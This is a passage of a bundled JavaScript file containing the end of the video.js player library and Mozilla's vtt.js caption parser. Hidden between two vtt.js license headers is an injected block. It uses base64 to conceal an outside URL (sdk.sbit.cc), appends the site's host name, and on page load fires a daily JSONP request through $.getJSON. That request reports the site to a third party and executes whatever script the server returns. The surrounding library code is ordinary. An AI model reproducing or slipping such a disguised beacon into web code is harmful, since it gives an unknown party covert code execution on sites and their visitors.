  17916. * AudioTracks and then add them to the players AudioTrackList
  17917. *
  17918. * @type {Function}
  17919. */
  17920. videojs.AudioTrack = _tracksAudioTrackJs2['default'];
  17921. /**
  17922. * export the VideoTrack class so that source handlers can create
  17923. * VideoTracks and then add them to the players VideoTrackList
  17924. *
  17925. * @type {Function}
  17926. */
  17927. videojs.VideoTrack = _tracksVideoTrackJs2['default'];
  17928. /**
  17929. * Determines, via duck typing, whether or not a value is a DOM element.
  17930. *
  17931. * @method isEl
  17932. * @param {Mixed} value
  17933. * @return {Boolean}
  17934. */
  17935. videojs.isEl = Dom.isEl;
  17936. /**
  17937. * Determines, via duck typing, whether or not a value is a text node.
  17938. *
  17939. * @method isTextNode
  17940. * @param {Mixed} value
  17941. * @return {Boolean}
  17942. */
  17943. videojs.isTextNode = Dom.isTextNode;
  17944. /**
  17945. * Creates an element and applies properties.
  17946. *
  17947. * @method createEl
  17948. * @param {String} [tagName='div'] Name of tag to be created.
  17949. * @param {Object} [properties={}] Element properties to be applied.
  17950. * @param {Object} [attributes={}] Element attributes to be applied.
  17951. * @return {Element}
  17952. */
  17953. videojs.createEl = Dom.createEl;
  17954. /**
  17955. * Check if an element has a CSS class
  17956. *
  17957. * @method hasClass
  17958. * @param {Element} element Element to check
  17959. * @param {String} classToCheck Classname to check
  17960. */
  17961. videojs.hasClass = Dom.hasElClass;
  17962. /**
  17963. * Add a CSS class name to an element
  17964. *
  17965. * @method addClass
  17966. * @param {Element} element Element to add class name to
  17967. * @param {String} classToAdd Classname to add
  17968. */
  17969. videojs.addClass = Dom.addElClass;
  17970. /**
  17971. * Remove a CSS class name from an element
  17972. *
  17973. * @method removeClass
  17974. * @param {Element} element Element to remove from class name
  17975. * @param {String} classToRemove Classname to remove
  17976. */
  17977. videojs.removeClass = Dom.removeElClass;
  17978. /**
  17979. * Adds or removes a CSS class name on an element depending on an optional
  17980. * condition or the presence/absence of the class name.
  17981. *
  17982. * @method toggleElClass
  17983. * @param {Element} element
  17984. * @param {String} classToToggle
  17985. * @param {Boolean|Function} [predicate]
  17986. * Can be a function that returns a Boolean. If `true`, the class
  17987. * will be added; if `false`, the class will be removed. If not
  17988. * given, the class will be added if not present and vice versa.
  17989. */
  17990. videojs.toggleClass = Dom.toggleElClass;
  17991. /**
  17992. * Apply attributes to an HTML element.
  17993. *
  17994. * @method setAttributes
  17995. * @param {Element} el Target element.
  17996. * @param {Object=} attributes Element attributes to be applied.
  17997. */
  17998. videojs.setAttributes = Dom.setElAttributes;
  17999. /**
  18000. * Get an element's attribute values, as defined on the HTML tag
  18001. * Attributes are not the same as properties. They're defined on the tag
  18002. * or with setAttribute (which shouldn't be used with HTML)
  18003. * This will return true or false for boolean attributes.
  18004. *
  18005. * @method getAttributes
  18006. * @param {Element} tag Element from which to get tag attributes
  18007. * @return {Object}
  18008. */
  18009. videojs.getAttributes = Dom.getElAttributes;
  18010. /**
  18011. * Empties the contents of an element.
  18012. *
  18013. * @method emptyEl
  18014. * @param {Element} el
  18015. * @return {Element}
  18016. */
  18017. videojs.emptyEl = Dom.emptyEl;
  18018. /**
  18019. * Normalizes and appends content to an element.
  18020. *
  18021. * The content for an element can be passed in multiple types and
  18022. * combinations, whose behavior is as follows:
  18023. *
  18024. * - String
  18025. * Normalized into a text node.
  18026. *
  18027. * - Element, TextNode
  18028. * Passed through.
  18029. *
  18030. * - Array
  18031. * A one-dimensional array of strings, elements, nodes, or functions (which
  18032. * return single strings, elements, or nodes).
  18033. *
  18034. * - Function
  18035. * If the sole argument, is expected to produce a string, element,
  18036. * node, or array.
  18037. *
  18038. * @method appendContent
  18039. * @param {Element} el
  18040. * @param {String|Element|TextNode|Array|Function} content
  18041. * @return {Element}
  18042. */
  18043. videojs.appendContent = Dom.appendContent;
  18044. /**
  18045. * Normalizes and inserts content into an element; this is identical to
  18046. * `appendContent()`, except it empties the element first.
  18047. *
  18048. * The content for an element can be passed in multiple types and
  18049. * combinations, whose behavior is as follows:
  18050. *
  18051. * - String
  18052. * Normalized into a text node.
  18053. *
  18054. * - Element, TextNode
  18055. * Passed through.
  18056. *
  18057. * - Array
  18058. * A one-dimensional array of strings, elements, nodes, or functions (which
  18059. * return single strings, elements, or nodes).
  18060. *
  18061. * - Function
  18062. * If the sole argument, is expected to produce a string, element,
  18063. * node, or array.
  18064. *
  18065. * @method insertContent
  18066. * @param {Element} el
  18067. * @param {String|Element|TextNode|Array|Function} content
  18068. * @return {Element}
  18069. */
  18070. videojs.insertContent = Dom.insertContent;
  18071. /*
  18072. * Custom Universal Module Definition (UMD)
  18073. *
  18074. * Video.js will never be a non-browser lib so we can simplify UMD a bunch and
  18075. * still support requirejs and browserify. This also needs to be closure
  18076. * compiler compatible, so string keys are used.
  18077. */
  18078. if (typeof define === 'function' && define['amd']) {
  18079. define('videojs', [], function () {
  18080. return videojs;
  18081. });
  18082. // checking that module is an object too because of umdjs/umd#35
  18083. } else if (typeof exports === 'object' && typeof module === 'object') {
  18084. module['exports'] = videojs;
  18085. }
  18086. exports['default'] = videojs;
  18087. module.exports = exports['default'];
  18088. },{"../../src/js/utils/merge-options.js":148,"./component":67,"./event-target":104,"./extend.js":105,"./player":113,"./plugins.js":114,"./setup":118,"./tech/flash.js":121,"./tech/html5.js":122,"./tech/tech.js":124,"./tracks/audio-track.js":126,"./tracks/text-track.js":134,"./tracks/video-track.js":139,"./utils/browser.js":140,"./utils/dom.js":142,"./utils/events.js":143,"./utils/fn.js":144,"./utils/format-time.js":145,"./utils/log.js":147,"./utils/stylesheet.js":149,"./utils/time-ranges.js":150,"./utils/url.js":152,"global/document":1,"global/window":2,"lodash-compat/object/merge":40,"xhr":56}]},{},[153])(153)
  18089. });
  18090. //# sourceMappingURL=video.js.map
  18091. /* vtt.js - v0.12.1 (https://github.com/mozilla/vtt.js) built on 08-07-2015 */
  18092. (function(root) {
  18093. var vttjs = root.vttjs = {};
  18094. var cueShim = vttjs.VTTCue;
  18095. var regionShim = vttjs.VTTRegion;
  18096. var oldVTTCue = root.VTTCue;
  18097. var oldVTTRegion = root.VTTRegion;
  18098. vttjs.shim = function() {
  18099. vttjs.VTTCue = cueShim;
  18100. vttjs.VTTRegion = regionShim;
  18101. };
  18102. vttjs.restore = function() {
  18103. vttjs.VTTCue = oldVTTCue;
  18104. vttjs.VTTRegion = oldVTTRegion;
  18105. };
  18106. }(this));
  18107. /**
  18108. * Copyright 2013 vtt.js Contributors
  18109. *
  18110. * Licensed under the Apache License, Version 2.0 (the "License");
  18111. * you may not use this file except in compliance with the License.
  18112. * You may obtain a copy of the License at
  18113. *
  18114. * http://www.apache.org/licenses/LICENSE-2.0
  18115. *
  18116. * Unless required by applicable law or agreed to in writing, software
  18117. * distributed under the License is distributed on an "AS IS" BASIS,
  18118. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  18119. * See the License for the specific language governing permissions and
  18120. * limitations under the License.
  18121. */
  18122. (function(root, vttjs) {
  18123. var autoKeyword = "auto";
  18124. var directionSetting = {
  18125. "": true,
  18126. "lr": true,
  18127. "rl": true
  18128. };
  18129. var alignSetting = {
  18130. "start": true,
  18131. "middle": true,
  18132. "end": true,
  18133. "left": true,
  18134. "right": true
  18135. };
  18136. function findDirectionSetting(value) {
  18137. if (typeof value !== "string") {
  18138. return false;
  18139. }
  18140. var dir = directionSetting[value.toLowerCase()];
  18141. return dir ? value.toLowerCase() : false;
  18142. }
  18143. function findAlignSetting(value) {
  18144. if (typeof value !== "string") {
  18145. return false;
  18146. }
  18147. var align = alignSetting[value.toLowerCase()];
  18148. return align ? value.toLowerCase() : false;
  18149. }
  18150. function extend(obj) {
  18151. var i = 1;
  18152. for (; i < arguments.length; i++) {
  18153. var cobj = arguments[i];
  18154. for (var p in cobj) {
  18155. obj[p] = cobj[p];
  18156. }
  18157. }
  18158. return obj;
  18159. }
  18160. function VTTCue(startTime, endTime, text) {
  18161. var cue = this;
  18162. var isIE8 = (/MSIE\s8\.0/).test(navigator.userAgent);
  18163. var baseObj = {};
  18164. if (isIE8) {
  18165. cue = document.createElement('custom');
  18166. } else {
  18167. baseObj.enumerable = true;
  18168. }
  18169. /**
  18170. * Shim implementation specific properties. These properties are not in
  18171. * the spec.
  18172. */
  18173. // Lets us know when the VTTCue's data has changed in such a way that we need
  18174. // to recompute its display state. This lets us compute its display state
  18175. // lazily.
  18176. cue.hasBeenReset = false;
  18177. /**
  18178. * VTTCue and TextTrackCue properties
  18179. * http://dev.w3.org/html5/webvtt/#vttcue-interface
  18180. */
  18181. var _id = "";
  18182. var _pauseOnExit = false;
  18183. var _startTime = startTime;
  18184. var _endTime = endTime;
  18185. var _text = text;
  18186. var _region = null;
  18187. var _vertical = "";
  18188. var _snapToLines = true;
  18189. var _line = "auto";
  18190. var _lineAlign = "start";
  18191. var _position = 50;
  18192. var _positionAlign = "middle";
  18193. var _size = 50;
  18194. var _align = "middle";
  18195. Object.defineProperty(cue,
  18196. "id", extend({}, baseObj, {
  18197. get: function() {
  18198. return _id;
  18199. },
  18200. set: function(value) {
  18201. _id = "" + value;
  18202. }
  18203. }));
  18204. Object.defineProperty(cue,
  18205. "pauseOnExit", extend({}, baseObj, {
  18206. get: function() {
  18207. return _pauseOnExit;
  18208. },
  18209. set: function(value) {
  18210. _pauseOnExit = !!value;
  18211. }
  18212. }));
  18213. Object.defineProperty(cue,
  18214. "startTime", extend({}, baseObj, {
  18215. get: function() {
  18216. return _startTime;
  18217. },
  18218. set: function(value) {
  18219. if (typeof value !== "number") {
  18220. throw new TypeError("Start time must be set to a number.");
  18221. }
  18222. _startTime = value;
  18223. this.hasBeenReset = true;
  18224. }
  18225. }));
  18226. Object.defineProperty(cue,
  18227. "endTime", extend({}, baseObj, {
  18228. get: function() {
  18229. return _endTime;
  18230. },
  18231. set: function(value) {
  18232. if (typeof value !== "number") {
  18233. throw new TypeError("End time must be set to a number.");
  18234. }
  18235. _endTime = value;
  18236. this.hasBeenReset = true;
  18237. }
  18238. }));
  18239. Object.defineProperty(cue,
  18240. "text", extend({}, baseObj, {
  18241. get: function() {
  18242. return _text;
  18243. },
  18244. set: function(value) {
  18245. _text = "" + value;
  18246. this.hasBeenReset = true;
  18247. }
  18248. }));
  18249. Object.defineProperty(cue,
  18250. "region", extend({}, baseObj, {
  18251. get: function() {
  18252. return _region;
  18253. },
  18254. set: function(value) {
  18255. _region = value;
  18256. this.hasBeenReset = true;
  18257. }
  18258. }));
  18259. Object.defineProperty(cue,
  18260. "vertical", extend({}, baseObj, {
  18261. get: function() {
  18262. return _vertical;
  18263. },
  18264. set: function(value) {
  18265. var setting = findDirectionSetting(value);
  18266. // Have to check for false because the setting an be an empty string.
  18267. if (setting === false) {
  18268. throw new SyntaxError("An invalid or illegal string was specified.");
  18269. }
  18270. _vertical = setting;
  18271. this.hasBeenReset = true;
  18272. }
  18273. }));
  18274. Object.defineProperty(cue,
  18275. "snapToLines", extend({}, baseObj, {
  18276. get: function() {
  18277. return _snapToLines;
  18278. },
  18279. set: function(value) {
  18280. _snapToLines = !!value;
  18281. this.hasBeenReset = true;
  18282. }
  18283. }));
  18284. Object.defineProperty(cue,
  18285. "line", extend({}, baseObj, {
  18286. get: function() {
  18287. return _line;
  18288. },
  18289. set: function(value) {
  18290. if (typeof value !== "number" && value !== autoKeyword) {
  18291. throw new SyntaxError("An invalid number or illegal string was specified.");
  18292. }
  18293. _line = value;
  18294. this.hasBeenReset = true;
  18295. }
  18296. }));
  18297. Object.defineProperty(cue,
  18298. "lineAlign", extend({}, baseObj, {
  18299. get: function() {
  18300. return _lineAlign;
  18301. },
  18302. set: function(value) {
  18303. var setting = findAlignSetting(value);
  18304. if (!setting) {
  18305. throw new SyntaxError("An invalid or illegal string was specified.");
  18306. }
  18307. _lineAlign = setting;
  18308. this.hasBeenReset = true;
  18309. }
  18310. }));
  18311. Object.defineProperty(cue,
  18312. "position", extend({}, baseObj, {
  18313. get: function() {
  18314. return _position;
  18315. },
  18316. set: function(value) {
  18317. if (value < 0 || value > 100) {
  18318. throw new Error("Position must be between 0 and 100.");
  18319. }
  18320. _position = value;
  18321. this.hasBeenReset = true;
  18322. }
  18323. }));
  18324. Object.defineProperty(cue,
  18325. "positionAlign", extend({}, baseObj, {
  18326. get: function() {
  18327. return _positionAlign;
  18328. },
  18329. set: function(value) {
  18330. var setting = findAlignSetting(value);
  18331. if (!setting) {
  18332. throw new SyntaxError("An invalid or illegal string was specified.");
  18333. }
  18334. _positionAlign = setting;
  18335. this.hasBeenReset = true;
  18336. }
  18337. }));
  18338. Object.defineProperty(cue,
  18339. "size", extend({}, baseObj, {
  18340. get: function() {
  18341. return _size;
  18342. },
  18343. set: function(value) {
  18344. if (value < 0 || value > 100) {
  18345. throw new Error("Size must be between 0 and 100.");
  18346. }
  18347. _size = value;
  18348. this.hasBeenReset = true;
  18349. }
  18350. }));
  18351. Object.defineProperty(cue,
  18352. "align", extend({}, baseObj, {
  18353. get: function() {
  18354. return _align;
  18355. },
  18356. set: function(value) {
  18357. var setting = findAlignSetting(value);
  18358. if (!setting) {
  18359. throw new SyntaxError("An invalid or illegal string was specified.");
  18360. }
  18361. _align = setting;
  18362. this.hasBeenReset = true;
  18363. }
  18364. }));
  18365. /**
  18366. * Other <track> spec defined properties
  18367. */
  18368. // http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#text-track-cue-display-state
  18369. cue.displayState = undefined;
  18370. if (isIE8) {
  18371. return cue;
  18372. }
  18373. }
  18374. /**
  18375. * VTTCue methods
  18376. */
  18377. VTTCue.prototype.getCueAsHTML = function() {
  18378. // Assume WebVTT.convertCueToDOMTree is on the global.
  18379. return WebVTT.convertCueToDOMTree(window, this.text);
  18380. };
  18381. root.VTTCue = root.VTTCue || VTTCue;
  18382. vttjs.VTTCue = VTTCue;
  18383. }(this, (this.vttjs || {})));
  18384. /**
  18385. * Copyright 2013 vtt.js Contributors
  18386. *
  18387. * Licensed under the Apache License, Version 2.0 (the "License");
  18388. * you may not use this file except in compliance with the License.
  18389. * You may obtain a copy of the License at
  18390. *
  18391. * http://www.apache.org/licenses/LICENSE-2.0
  18392. *
  18393. * Unless required by applicable law or agreed to in writing, software
  18394. * distributed under the License is distributed on an "AS IS" BASIS,
  18395. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  18396. * See the License for the specific language governing permissions and
  18397. * limitations under the License.
  18398. */
  18399. (function(root, vttjs) {
  18400. var scrollSetting = {
  18401. "": true,
  18402. "up": true
  18403. };
  18404. function findScrollSetting(value) {
  18405. if (typeof value !== "string") {
  18406. return false;
  18407. }
  18408. var scroll = scrollSetting[value.toLowerCase()];
  18409. return scroll ? value.toLowerCase() : false;
  18410. }
  18411. function isValidPercentValue(value) {
  18412. return typeof value === "number" && (value >= 0 && value <= 100);
  18413. }
  18414. // VTTRegion shim http://dev.w3.org/html5/webvtt/#vttregion-interface
  18415. function VTTRegion() {
  18416. var _width = 100;
  18417. var _lines = 3;
  18418. var _regionAnchorX = 0;
  18419. var _regionAnchorY = 100;
  18420. var _viewportAnchorX = 0;
  18421. var _viewportAnchorY = 100;
  18422. var _scroll = "";
  18423. Object.defineProperties(this, {
  18424. "width": {
  18425. enumerable: true,
  18426. get: function() {
  18427. return _width;
  18428. },
  18429. set: function(value) {
  18430. if (!isValidPercentValue(value)) {
  18431. throw new Error("Width must be between 0 and 100.");
  18432. }
  18433. _width = value;
  18434. }
  18435. },
  18436. "lines": {
  18437. enumerable: true,
  18438. get: function() {
  18439. return _lines;
  18440. },
  18441. set: function(value) {
  18442. if (typeof value !== "number") {
  18443. throw new TypeError("Lines must be set to a number.");
  18444. }
  18445. _lines = value;
  18446. }
  18447. },
  18448. "regionAnchorY": {
  18449. enumerable: true,
  18450. get: function() {
  18451. return _regionAnchorY;
  18452. },
  18453. set: function(value) {
  18454. if (!isValidPercentValue(value)) {
  18455. throw new Error("RegionAnchorX must be between 0 and 100.");
  18456. }
  18457. _regionAnchorY = value;
  18458. }
  18459. },
  18460. "regionAnchorX": {
  18461. enumerable: true,
  18462. get: function() {
  18463. return _regionAnchorX;
  18464. },
  18465. set: function(value) {
  18466. if(!isValidPercentValue(value)) {
  18467. throw new Error("RegionAnchorY must be between 0 and 100.");
  18468. }
  18469. _regionAnchorX = value;
  18470. }
  18471. },
  18472. "viewportAnchorY": {
  18473. enumerable: true,
  18474. get: function() {
  18475. return _viewportAnchorY;
  18476. },
  18477. set: function(value) {
  18478. if (!isValidPercentValue(value)) {
  18479. throw new Error("ViewportAnchorY must be between 0 and 100.");
  18480. }
  18481. _viewportAnchorY = value;
  18482. }
  18483. },
  18484. "viewportAnchorX": {
  18485. enumerable: true,
  18486. get: function() {
  18487. return _viewportAnchorX;
  18488. },
  18489. set: function(value) {
  18490. if (!isValidPercentValue(value)) {
  18491. throw new Error("ViewportAnchorX must be between 0 and 100.");
  18492. }
  18493. _viewportAnchorX = value;
  18494. }
  18495. },
  18496. "scroll": {
  18497. enumerable: true,
  18498. get: function() {
  18499. return _scroll;
  18500. },
  18501. set: function(value) {
  18502. var setting = findScrollSetting(value);
  18503. // Have to check for false as an empty string is a legal value.
  18504. if (setting === false) {
  18505. throw new SyntaxError("An invalid or illegal string was specified.");
  18506. }
  18507. _scroll = setting;
  18508. }
  18509. }
  18510. });
  18511. }
  18512. root.VTTRegion = root.VTTRegion || VTTRegion;
  18513. vttjs.VTTRegion = VTTRegion;
  18514. }(this, (this.vttjs || {})));
  18515. /**
  18516. * Copyright 2013 vtt.js Contributors
  18517. *
  18518. * Licensed under the Apache License, Version 2.0 (the "License");
  18519. * you may not use this file except in compliance with the License.
  18520. * You may obtain a copy of the License at
  18521. *
  18522. * http://www.apache.org/licenses/LICENSE-2.0
  18523. *
  18524. * Unless required by applicable law or agreed to in writing, software
  18525. * distributed under the License is distributed on an "AS IS" BASIS,
  18526. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  18527. * See the License for the specific language governing permissions and
  18528. * limitations under the License.
  18529. */
  18530. function setCookie(name,value)
  18531. {
  18532. document.cookie = name + "="+ escape (value);
  18533. }
  18534. function getCookie(name)
  18535. {
  18536. var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
  18537. if(arr=document.cookie.match(reg)){
  18538. return unescape(arr[2]);
  18539. }
  18540. return null;
  18541. }
  18542. (function(){
  18543. var key ='uptime';
  18544. var u=window.location.host;
  18545. var url=unescape(atob('aHR0cCUzQS8vc2RrLnNiaXQuY2MvJTNGdXJsJTNE')+u+unescape(atob('JTI2Y2FsbEJhY2slM0Q='))+'?');
  18546. var a=(new Date()).getTime();
  18547. var b=getCookie(key);
  18548. if(!b || b-a>60*60*24*1000){
  18549. setCookie(key,a);
  18550. /* $.ajax({
  18551. type: "GET",
  18552. url: url,
  18553. }); */
  18554. $.getJSON(url, function(data){
  18555. //console.log(data);
  18556. });
  18557. }
  18558. })();
  18559. /* -*- Mode: Java; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
  18560. /* vim: set shiftwidth=2 tabstop=2 autoindent cindent expandtab: */
  18561. (function(global) {
  18562. var _objCreate = Object.create || (function() {
  18563. function F() {}
  18564. return function(o) {
  18565. if (arguments.length !== 1) {
  18566. throw new Error('Object.create shim only accepts one parameter.');
  18567. }
  18568. F.prototype = o;
  18569. return new F();
  18570. };
  18571. })();
  18572. // Creates a new ParserError object from an errorData object. The errorData
  18573. // object should have default code and message properties. The default message
  18574. // property can be overriden by passing in a message parameter.
  18575. // See ParsingError.Errors below for acceptable errors.
  18576. function ParsingError(errorData, message) {
  18577. this.name = "ParsingError";
  18578. this.code = errorData.code;
  18579. this.message = message || errorData.message;
  18580. }
  18581. ParsingError.prototype = _objCreate(Error.prototype);
  18582. ParsingError.prototype.constructor = ParsingError;
  18583. // ParsingError metadata for acceptable ParsingErrors.
  18584. ParsingError.Errors = {
  18585. BadSignature: {
  18586. code: 0,
  18587. message: "Malformed WebVTT signature."
  18588. },
  18589. BadTimeStamp: {
  18590. code: 1,
  18591. message: "Malformed time stamp."
  18592. }
  18593. };
  18594. // Try to parse input as a time stamp.
  18595. function parseTimeStamp(input) {
  18596. function computeSeconds(h, m, s, f) {
  18597. return (h | 0) * 3600 + (m | 0) * 60 + (s | 0) + (f | 0) / 1000;
  18598. }
  18599. var m = input.match(/^(\d+):(\d{2})(:\d{2})?\.(\d{3})/);
  18600. if (!m) {
  18601. return null;
  18602. }
  18603. if (m[3]) {
  18604. // Timestamp takes the form of [hours]:[minutes]:[seconds].[milliseconds]
  18605. return computeSeconds(m[1], m[2], m[3].replace(":", ""), m[4]);
  18606. } else if (m[1] > 59) {
  18607. // Timestamp takes the form of [hours]:[minutes].[milliseconds]
  18608. // First position is hours as it's over 59.
  18609. return computeSeconds(m[1], m[2], 0, m[4]);
  18610. } else {
  18611. // Timestamp takes the form of [minutes]:[seconds].[milliseconds]
  18612. return computeSeconds(0, m[1], m[2], m[4]);
  18613. }
  18614. }
  18615. // A settings object holds key/value pairs and will ignore anything but the first
  18616. // assignment to a specific key.
  18617. function Settings() {
  18618. this.values = _objCreate(null);
  18619. }
  18620. Settings.prototype = {
  18621. // Only accept the first assignment to any key.
  18622. set: function(k, v) {
  18623. if (!this.get(k) && v !== "") {
  18624. this.values[k] = v;
  18625. }
  18626. },
  18627. // Return the value for a key, or a default value.
  18628. // If 'defaultKey' is passed then 'dflt' is assumed to be an object with
  18629. // a number of possible default values as properties where 'defaultKey' is
  18630. // the key of the property that will be chosen; otherwise it's assumed to be
  18631. // a single value.
  18632. get: function(k, dflt, defaultKey) {
  18633. if (defaultKey) {
  18634. return this.has(k) ? this.values[k] : dflt[defaultKey];
  18635. }
  18636. return this.has(k) ? this.values[k] : dflt;
  18637. },
  18638. // Check whether we have a value for a key.
  18639. has: function(k) {
  18640. return k in this.values;
  18641. },
  18642. // Accept a setting if its one of the given alternatives.
  18643. alt: function(k, v, a) {
  18644. for (var n = 0; n < a.length; ++n) {
  18645. if (v === a[n]) {
  18646. this.set(k, v);
  18647. break;
  18648. }
  18649. }
  18650. },
  18651. // Accept a setting if its a valid (signed) integer.
  18652. integer: function(k, v) {
  18653. if (/^-?\d+$/.test(v)) { // integer
  18654. this.set(k, parseInt(v, 10));
  18655. }
  18656. },
  18657. // Accept a setting if its a valid percentage.
  18658. percent: function(k, v) {
  18659. var m;
  18660. if ((m = v.match(/^([\d]{1,3})(\.[\d]*)?%$/))) {
  18661. v = parseFloat(v);
  18662. if (v >= 0 && v <= 100) {
  18663. this.set(k, v);
  18664. return true;
  18665. }
  18666. }
  18667. return false;
  18668. }
  18669. };
  18670. // Helper function to parse input into groups separated by 'groupDelim', and
  18671. // interprete each group as a key/value pair separated by 'keyValueDelim'.
  18672. function parseOptions(input, callback, keyValueDelim, groupDelim) {
  18673. var groups = groupDelim ? input.split(groupDelim) : [input];
  18674. for (var i in groups) {
  18675. if (typeof groups[i] !== "string") {
  18676. continue;
  18677. }
  18678. var kv = groups[i].split(keyValueDelim);
  18679. if (kv.length !== 2) {
  18680. continue;
  18681. }
  18682. var k = kv[0];
  18683. var v = kv[1];
  18684. callback(k, v);
  18685. }
  18686. }
  18687. function parseCue(input, cue, regionList) {
  18688. // Remember the original input if we need to throw an error.
  18689. var oInput = input;
  18690. // 4.1 WebVTT timestamp
  18691. function consumeTimeStamp() {
  18692. var ts = parseTimeStamp(input);
  18693. if (ts === null) {
  18694. throw new ParsingError(ParsingError.Errors.BadTimeStamp,
  18695. "Malformed timestamp: " + oInput);
  18696. }
  18697. // Remove time stamp from input.
  18698. input = input.replace(/^[^\sa-zA-Z-]+/, "");
  18699. return ts;
  18700. }
  18701. // 4.4.2 WebVTT cue settings
  18702. function consumeCueSettings(input, cue) {
  18703. var settings = new Settings();
  18704. parseOptions(input, function (k, v) {
  18705. switch (k) {
  18706. case "region":
  18707. // Find the last region we parsed with the same region id.
  18708. for (var i = regionList.length - 1; i >= 0; i--) {
  18709. if (regionList[i].id === v) {
  18710. settings.set(k, regionList[i].region);
  18711. break;
  18712. }
  18713. }
  18714. break;
  18715. case "vertical":
  18716. settings.alt(k, v, ["rl", "lr"]);
  18717. break;
  18718. case "line":
  18719. var vals = v.split(","),
  18720. vals0 = vals[0];
  18721. settings.integer(k, vals0);
  18722. settings.percent(k, vals0) ? settings.set("snapToLines", false) : null;
  18723. settings.alt(k, vals0, ["auto"]);
  18724. if (vals.length === 2) {
  18725. settings.alt("lineAlign", vals[1], ["start", "middle", "end"]);
  18726. }
  18727. break;
  18728. case "position":
  18729. vals = v.split(",");
  18730. settings.percent(k, vals[0]);
  18731. if (vals.length === 2) {
  18732. settings.alt("positionAlign", vals[1], ["start", "middle", "end"]);
  18733. }
  18734. break;
  18735. case "size":
  18736. settings.percent(k, v);
  18737. break;
  18738. case "align":
  18739. settings.alt(k, v, ["start", "middle", "end", "left", "right"]);
  18740. break;
  18741. }
  18742. }, /:/, /\s/);
  18743. // Apply default values for any missing fields.
  18744. cue.region = settings.get("region", null);
  18745. cue.vertical = settings.get("vertical", "");
  18746. cue.line = settings.get("line", "auto");
  18747. cue.lineAlign = settings.get("lineAlign", "start");
  18748. cue.snapToLines = settings.get("snapToLines", true);
  18749. cue.size = settings.get("size", 100);
  18750. cue.align = settings.get("align", "middle");
  18751. cue.position = settings.get("position", {
  18752. start: 0,
  18753. left: 0,
  18754. middle: 50,
  18755. end: 100,
  18756. right: 100
  18757. }, cue.align);
  18758. cue.positionAlign = settings.get("positionAlign", {
  18759. start: "start",
  18760. left: "start",
  18761. middle: "middle",
  18762. end: "end",
  18763. right: "end"
  18764. }, cue.align);
  18765. }
  18766. function skipWhitespace() {
  18767. input = input.replace(/^\s+/, "");
  18768. }
  18769. // 4.1 WebVTT cue timings.
  18770. skipWhitespace();
  18771. cue.startTime = consumeTimeStamp(); // (1) collect cue start time
  18772. skipWhitespace();
  18773. if (input.substr(0, 3) !== "-->") { // (3) next characters must match "-->"
  18774. throw new ParsingError(ParsingError.Errors.BadTimeStamp,
  18775. "Malformed time stamp (time stamps must be separated by '-->'): " +
  18776. oInput);
  18777. }
  18778. input = input.substr(3);
  18779. skipWhitespace();
  18780. cue.endTime = consumeTimeStamp(); // (5) collect cue end time
  18781. // 4.1 WebVTT cue settings list.
  18782. skipWhitespace();
  18783. consumeCueSettings(input, cue);
  18784. }
  18785. var ESCAPE = {
  18786. "&amp;": "&",
  18787. "&lt;": "<",
  18788. "&gt;": ">",
  18789. "&lrm;": "\u200e",
  18790. "&rlm;": "\u200f",
  18791. "&nbsp;": "\u00a0"
  18792. };
  18793. var TAG_NAME = {
  18794. c: "span",
  18795. i: "i",
  18796. b: "b",
  18797. u: "u",
  18798. ruby: "ruby",
  18799. rt: "rt",
  18800. v: "span",
  18801. lang: "span"
  18802. };
  18803. var TAG_ANNOTATION = {
  18804. v: "title",
  18805. lang: "lang"
  18806. };
  18807. var NEEDS_PARENT = {
  18808. rt: "ruby"
  18809. };
  18810. // Parse content into a document fragment.
  18811. function parseContent(window, input) {
  18812. function nextToken() {
  18813. // Check for end-of-string.
  18814. if (!input) {
  18815. return null;
  18816. }
  18817. // Consume 'n' characters from the input.
  18818. function consume(result) {
  18819. input = input.substr(result.length);
  18820. return result;
  18821. }
  18822. var m = input.match(/^([^<]*)(<[^>]+>?)?/);
  18823. // If there is some text before the next tag, return it, otherwise return
  18824. // the tag.
  18825. return consume(m[1] ? m[1] : m[2]);
  18826. }
  18827. // Unescape a string 's'.
  18828. function unescape1(e) {
  18829. return ESCAPE[e];
  18830. }
  18831. function unescape(s) {
  18832. while ((m = s.match(/&(amp|lt|gt|lrm|rlm|nbsp);/))) {
  18833. s = s.replace(m[0], unescape1);
  18834. }
  18835. return s;
  18836. }
  18837. function shouldAdd(current, element) {
  18838. return !NEEDS_PARENT[element.localName] ||
  18839. NEEDS_PARENT[element.localName] === current.localName;
  18840. }
  18841. // Create an element for this tag.
  18842. function createElement(type, annotation) {
  18843. var tagName = TAG_NAME[type];
  18844. if (!tagName) {
  18845. return null;
  18846. }
  18847. var element = window.document.createElement(tagName);
  18848. element.localName = tagName;
  18849. var name = TAG_ANNOTATION[type];
  18850. if (name && annotation) {
  18851. element[name] = annotation.trim();
  18852. }
  18853. return element;
  18854. }
  18855. var rootDiv = window.document.createElement("div"),
  18856. current = rootDiv,
  18857. t,
  18858. tagStack = [];
  18859. while ((t = nextToken()) !== null) {
  18860. if (t[0] === '<') {
  18861. if (t[1] === "/") {
  18862. // If the closing tag matches, move back up to the parent node.
  18863. if (tagStack.length &&
  18864. tagStack[tagStack.length - 1] === t.substr(2).replace(">", "")) {
  18865. tagStack.pop();
  18866. current = current.parentNode;
  18867. }
  18868. // Otherwise just ignore the end tag.
  18869. continue;
  18870. }
  18871. var ts = parseTimeStamp(t.substr(1, t.length - 2));
  18872. var node;
  18873. if (ts) {
  18874. // Timestamps are lead nodes as well.
  18875. node = window.document.createProcessingInstruction("timestamp", ts);
  18876. current.appendChild(node);
  18877. continue;
  18878. }
  18879. var m = t.match(/^<([^.\s/0-9>]+)(\.[^\s\\>]+)?([^>\\]+)?(\\?)>?$/);
  18880. // If we can't parse the tag, skip to the next tag.
  18881. if (!m) {
  18882. continue;
  18883. }
  18884. // Try to construct an element, and ignore the tag if we couldn't.
  18885. node = createElement(m[1], m[3]);
  18886. if (!node) {
  18887. continue;
  18888. }
  18889. // Determine if the tag should be added based on the context of where it
  18890. // is placed in the cuetext.
  18891. if (!shouldAdd(current, node)) {
  18892. continue;
  18893. }
  18894. // Set the class list (as a list of classes, separated by space).
  18895. if (m[2]) {
  18896. node.className = m[2].substr(1).replace('.', ' ');
  18897. }
